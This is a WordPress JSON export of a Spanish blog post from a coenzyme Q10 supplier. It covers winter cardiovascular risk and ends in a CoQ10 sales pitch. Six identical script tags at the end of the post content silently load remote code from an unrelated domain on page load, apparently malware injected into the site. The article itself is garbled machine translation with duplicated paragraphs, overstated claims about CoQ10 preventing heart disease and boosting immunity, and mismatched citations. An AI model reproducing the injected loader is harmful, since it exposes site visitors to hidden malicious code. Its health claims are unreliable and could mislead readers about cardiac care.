{"id":7875,"date":"2024-08-19T17:06:22","date_gmt":"2024-08-19T09:06:22","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7875"},"modified":"2025-02-06T09:34:18","modified_gmt":"2025-02-06T01:34:18","slug":"how-to-prevent-cardiovascular-disease","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/es\/como-prevenir-las-enfermedades-cardiovasculares\/","title":{"rendered":"C\u00f3mo prevenir las enfermedades cardiovasculares"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-788471c\" data-block-id=\"788471c\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3546\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10.jpg\" width=\"811\" height=\"457\" alt=\"\u00bfQu\u00e9 dosis y durante cu\u00e1nto tiempo es mejor tomar Coenzima Q10?\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10.jpg 811w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-300x169.jpg 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-768x433.jpg 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-600x338.jpg 600w\" sizes=\"(max-width: 811px) 100vw, 811px\" \/><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Oto\u00f1o e invierno son las estaciones de mayor incidencia de enfermedades cardiovasculares<\/h2>\n\n\n\n<p>Al hablar de \"c\u00e1ncer\" cambio de color hoy en d\u00eda, las personas de mediana edad y ancianos son los m\u00e1s temerosos de las enfermedades cardiovasculares sigue siendo la primera tasa de mortalidad. Las enfermedades cardiovasculares representan m\u00e1s del 40% de todas las muertes en la poblaci\u00f3n y 2 de cada 5 muertes se deben a enfermedades cardiovasculares.<\/p>\n\n\n\n<p>Y los meses de invierno, es el per\u00edodo de alta incidencia de enfermedades cardiovasculares. Un estudio extranjero muestra que la incidencia de enfermedades cardiovasculares aumentar\u00e1 en 2% por cada grado Celsius de descenso de la temperatura.<\/p>\n\n\n\n<p>Los resultados de este estudio no son sorprendentes, porque la temperatura del invierno es m\u00e1s baja, puede causar el nervio simp\u00e1tico humano sobreexcitado, los vasos sangu\u00edneos de la piel constricci\u00f3n, lo que resulta en un aumento de la presi\u00f3n arterial, propensos a complicaciones de la hipertensi\u00f3n, como la disecci\u00f3n a\u00f3rtica;<\/p>\n\n\n\n<p>En oto\u00f1o e invierno, el consumo de alimentos grasos fr\u00edos, mientras que la reducci\u00f3n de las actividades al aire libre, f\u00e1cil de conducir a la viscosidad del flujo sangu\u00edneo ralentizado, enfermedades tromb\u00f3ticas, como el infarto de miocardio, trombosis venosa de miembros inferiores;<\/p>\n\n\n\n<p>Adem\u00e1s, la temperatura invernal es baja, lo que es f\u00e1cil de inducir enfermedades respiratorias, y las enfermedades respiratorias pueden inducir o agravar las enfermedades cardiovasculares.<\/p>\n\n\n\n<p>Por lo tanto, en esta \u00e9poca del a\u00f1o, el n\u00famero de pacientes con enfermedades cardiovasculares y cerebrovasculares en el hospital aumentar\u00e1 dr\u00e1sticamente.<\/p>\n\n\n\n<p>Algunos \"viejos pacientes\" creen que ir al hospital para colgar unos d\u00edas de mantenimiento de drogas para dragar los vasos sangu\u00edneos pueden pasar con seguridad el invierno. Esto no es as\u00ed. En invierno, no es fiable para dragar los vasos sangu\u00edneos por medio de infusi\u00f3n, y un gran n\u00famero de infusi\u00f3n excesiva puede inducir angina de pecho o insuficiencia card\u00edaca. Tambi\u00e9n es muy importante que los pacientes con enfermedades cardiovasculares planifiquen con antelaci\u00f3n si quieren sobrevivir con \u00e9xito al peligroso invierno.<\/p>\n\n\n\n<p>Adem\u00e1s, debido al r\u00e1pido ritmo de vida de los j\u00f3venes, la elevada presi\u00f3n del trabajo, fumar, beber, trasnochar y comer de forma irregular son habituales, lo que provoca que cada vez m\u00e1s j\u00f3venes padezcan enfermedades cardiovasculares. Por lo tanto, los j\u00f3venes deben tomar precauciones contra ella.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00bfC\u00f3mo deben protegerse los pacientes cardiovasculares?<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Sigue movi\u00e9ndote<\/h3>\n\n\n\n<p>En el fr\u00edo invierno, muchas personas optan por quedarse en casa, salir poco y permanecer sentadas durante varias horas. Esta prolongada permanencia sentada puede conducir f\u00e1cilmente a la formaci\u00f3n de co\u00e1gulos sangu\u00edneos, provocando la obstrucci\u00f3n de los vasos sangu\u00edneos.<\/p>\n\n\n\n<p>Sentado durante una hora debe ser activo por un corto tiempo, debe hacer ejercicio regularmente 1-2 veces al d\u00eda, media hora a 1 hora cada vez, la intensidad del ejercicio a sudar ligeramente es bueno, no debe ser demasiado intenso, caminar es m\u00e1s adecuado para los pacientes cardiovasculares.<\/p>\n\n\n\n<p>Conviene recordar que hay que prestar atenci\u00f3n al calor cuando se hace ejercicio al aire libre.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Dejar de fumar y beber menos<\/h3>\n\n\n\n<p>El tabaquismo es un factor importante que causa infarto de miocardio y accidente cerebrovascular, y debe ser absolutamente dejar de fumar. Una peque\u00f1a cantidad de cerveza, vino de arroz, vino y otros alcoholes bajos en alcohol puede promover la circulaci\u00f3n sangu\u00ednea, Qi y la armon\u00eda de la sangre, pero no se puede beber alcohol fuerte.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">autocontrol<\/h3>\n\n\n\n<p>La enfermedad cardiovascular es una enfermedad cr\u00f3nica, la tensi\u00f3n arterial y la frecuencia cardiaca deben controlarse y registrarse todos los d\u00edas, medirse m\u00e1s de 4 veces al d\u00eda seg\u00fan las necesidades de la enfermedad, de las cuales la medici\u00f3n matutina es especialmente importante. Lev\u00e1ntese por la ma\u00f1ana y m\u00eddase la tensi\u00f3n arterial antes de desayunar (y de tomar la medicaci\u00f3n para la tensi\u00f3n arterial). Los datos registrados por estas mediciones ser\u00e1n una base importante para que los m\u00e9dicos ajusten los medicamentos cardiovasculares.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Dieta racional<\/h3>\n\n\n\n<p>La mayor\u00eda de las personas combaten el fr\u00edo con una dieta rica en grasas en invierno, pero los alimentos grasos, hipercal\u00f3ricos, ricos en grasas, colesterol y az\u00facar pueden conducir f\u00e1cilmente a la obesidad, especialmente a la acumulaci\u00f3n de grasa abdominal, y la obesidad es un factor de alto riesgo de enfermedad cardiovascular.<\/p>\n\n\n\n<p>Y a los j\u00f3venes en invierno les apetecer\u00e1 comer olla caliente, comida malatang, estos alimentos son alimentos ricos en sal. Una dieta rica en sal es un factor de riesgo reconocido de enfermedad cardiovascular, estrechamente relacionada con la hipertensi\u00f3n, la arteriosclerosis y la insuficiencia cardiaca. La Sociedad China de Nutrici\u00f3n recomienda que los adultos sanos no coman m\u00e1s de 6 gramos de sal al d\u00eda.<\/p>\n\n\n\n<p>Adem\u00e1s, debemos prestar atenci\u00f3n a la suplementaci\u00f3n con coenzima Q10, la fuente de energ\u00eda del coraz\u00f3n.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00bfQu\u00e9 es la&nbsp;<a href=\"https:\/\/www.backvita.com\/es\/what-dosage-and-how-long-is-it-best-to-take-coenzyme-q10\/\">enzima Q10<\/a>?<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/es\/is-coenzyme-q10-really-anti-aging-how-do-punk-health-people-take-it-scientifically\/\">Coenzima Q10<\/a>&nbsp;es una de las coenzimas m\u00e1s importantes en el cuerpo humano, que es la composici\u00f3n de la cadena respiratoria y la energ\u00eda sint\u00e9tica en los organismos vivos.<\/p>\n\n\n\n<p>Componente esencial de la sustancia ATP, que tambi\u00e9n act\u00faa como activador del metabolismo celular y de la respiraci\u00f3n celular [1].<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Que sea sencillo.<\/h2>\n\n\n\n<p>Si las c\u00e9lulas y las mitocondrias son como los coches y los motores, la coQ10 es una buj\u00eda.<\/p>\n\n\n\n<p>Sin CoQ10, las mitocondrias no pueden proporcionar suficiente energ\u00eda a la c\u00e9lula. [2]<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">adem\u00e1s<\/h2>\n\n\n\n<p>Nuestra \"patrona&nbsp;<a href=\"https:\/\/www.backvita.com\/es\/producto\/coenzyme-q10\/\">Coenzima Q10<\/a><\/p>\n\n\n\n<p>Con una din\u00e1mica cardiaca mejorada [3]<\/p>\n\n\n\n<p>Refuerce su sistema inmunitario<\/p>\n\n\n\n<p>Aumentan la capacidad antioxidante y otros efectos m\u00faltiples [4].<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Reforzar la din\u00e1mica cardiaca<\/h3>\n\n\n\n<p>La coenzima Q10 tiene el mayor contenido en los cardiomiocitos [5], que pueden llevar a cabo la conversi\u00f3n de energ\u00eda [6], proporcionar el ox\u00edgeno adecuado para el miocardio y prevenir la cardiopat\u00eda s\u00fabita. Especialmente en condiciones de hipoxia mioc\u00e1rdica, la coenzima Q10 puede desempe\u00f1ar un papel importante. [7]<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Mejorar la inmunidad humana<\/h3>\n\n\n\n<p>La coenzima Q10 puede mejorar la vitalidad de las c\u00e9lulas inmunitarias del organismo para eliminar bacterias, mejorar la respuesta de los anticuerpos y estimular el aumento del n\u00famero de inmunoglobulinas y anticuerpos [8]. El sistema inmunitario es la mejor barrera natural contra diversas enfermedades. [9]<\/p>\n\n\n\n<p>En pocas palabras, la coenzima Q10 puede mejorar el sistema inmunitario para proteger el coraz\u00f3n, el h\u00edgado, los ri\u00f1ones y otros \u00f3rganos importantes de los da\u00f1os causados por bacterias y virus. [10]<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Aumentar la capacidad antioxidante<\/h3>\n\n\n\n<p>La coenzima Q10 puede destruir los radicales libres producidos por las mitocondrias en el proceso de consumo de ox\u00edgeno y suministro de energ\u00eda [11], es decir, desempe\u00f1a una funci\u00f3n antioxidante.<\/p>\n\n\n\n<p>Ya se sabe. Un exceso de radicales libres puede causar da\u00f1os en las c\u00e9lulas humanas [12], lo que puede provocar la muerte excesiva de un gran n\u00famero de c\u00e9lulas normales [13]. La Coq10 es buena para combatir estos radicales libres.<\/p>\n\n\n\n<p>Despu\u00e9s de leer, la familia comprende mejor el papel de la coenzima Q10? La Coq10 es estupenda, pero lo malo es que los niveles de CoQ10 tienden a disminuir a medida que envejecemos.....<\/p>\n\n\n\n<p>La coenzima Q10 puede destruir los radicales libres producidos por las mitocondrias en el proceso de consumo de ox\u00edgeno y suministro de energ\u00eda [11], es decir, desempe\u00f1a una funci\u00f3n antioxidante.<\/p>\n\n\n\n<p>Ya se sabe. Un exceso de radicales libres puede causar da\u00f1os en las c\u00e9lulas humanas [12], lo que puede provocar la muerte excesiva de un gran n\u00famero de c\u00e9lulas normales [13]. La Coq10 es buena para combatir estos radicales libres.<\/p>\n\n\n\n<p>Despu\u00e9s de leer, la familia comprende mejor el papel de la coenzima Q10? La Coq10 es estupenda, pero lo malo es que los niveles de CoQ10 tienden a disminuir a medida que envejecemos.....<\/p>\n\n\n\n<p>Fuente de referencia<\/p>\n\n\n\n<p>[1] Wan Yanjuan, Wu Junlin, Wu Qingping. Progreso de la investigaci\u00f3n sobre la actividad antioxidante y la aplicaci\u00f3n de la coenzima Q10. Investigaci\u00f3n y desarrollo de alimentos [J].2015-10, n\u00famero 19.<\/p>\n\n\n\n<p>[2] Liang ZW. Gu\u00eda completa para el s\u00edndrome de ovario poliqu\u00edstico [M]. Beijing Science and Technology Press.2021-11-04.<\/p>\n\n\n\n<p>[3] Shang Xujun. Energ\u00e9tica del esperma: Metabolismo y tratamiento [M]. Editorial m\u00e9dica popular.2017-05-01.<\/p>\n\n\n\n<p>[4] [9] [10] Asociaci\u00f3n de atenci\u00f3n sanitaria a personas mayores de Hunan. Conocimiento de cuidado de la salud para los ancianos leer todos los d\u00edas en 2018 [M]. Sttu Guangdong Co, LTD.2017-07.<\/p>\n\n\n\n<p>[5] Yuan Xiangyuan. Libro de protecci\u00f3n de la salud de la vitamina [M]. Tianjin Science and Technology Press.2013-05.<\/p>\n\n\n\n<p>[6][7] Wang Ying, Zhu Weiguo. Manual de autogesti\u00f3n de hemodi\u00e1lisis [M]. Prensa de la industria qu\u00edmica, 2017-08-01.<\/p>\n\n\n\n<p>[8] Wang Hongling, Wu Tingru, Zhan Xiumei. Research progress on physiological function and application of Coenzyme Q10. Ciencia y tecnolog\u00eda de la industria alimentaria [J]. N\u00famero 14, 2014.<\/p>\n\n\n\n<p>[11][13] Fan Jufeng, ZHAO Qiming. Antienvejecimiento m\u00e9dico [M]. Editorial m\u00e9dica popular.2018-01.<\/p>\n\n\n\n<p>[12] Yan Zhonghao, Zhang Jiehong. Libro de salud para padres [M]. Hunan Science and Technology Publishing House.2022-03.<\/p>\n\n\n\n<p>[14] Militar de aprendizaje empresarial. Energ\u00e9tica esperm\u00e1tica: Metabolismo y terapia [M]. Editorial m\u00e9dica popular.2017-05-01.<\/p>\n\n\n\n<p>Coenzima Q10 Fabricante \/Coenzima Q10 Fabricantes\/ Coenzima Q10 Surtidor \/Coenzima Q10Proveedores\/Coenzima Q10 F\u00e1brica\uff1awww.backvita.com<br>Correo electr\u00f3nico: info@backvita.com<br>Tel\u00e9fono: +86 (029) 8187 2325<\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>Autumn and winter are the high incidence seasons of cardiovascular diseases In talking about \u201ccancer\u201d color change today, the middle-aged and elderly people are most afraid of cardiovascular disease is still the first death rate. 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Cardiovascular diseases account for more than 40 per cent of all deaths in the population and 2 out of every 5 deaths are due to cardiovascular diseases. And the winter months, it is the high incidence of cardiovascular disease period. A foreign study shows that the incidence of cardiovascular disease will increase by 2% for every 1 degree Celsius drop in temperature. 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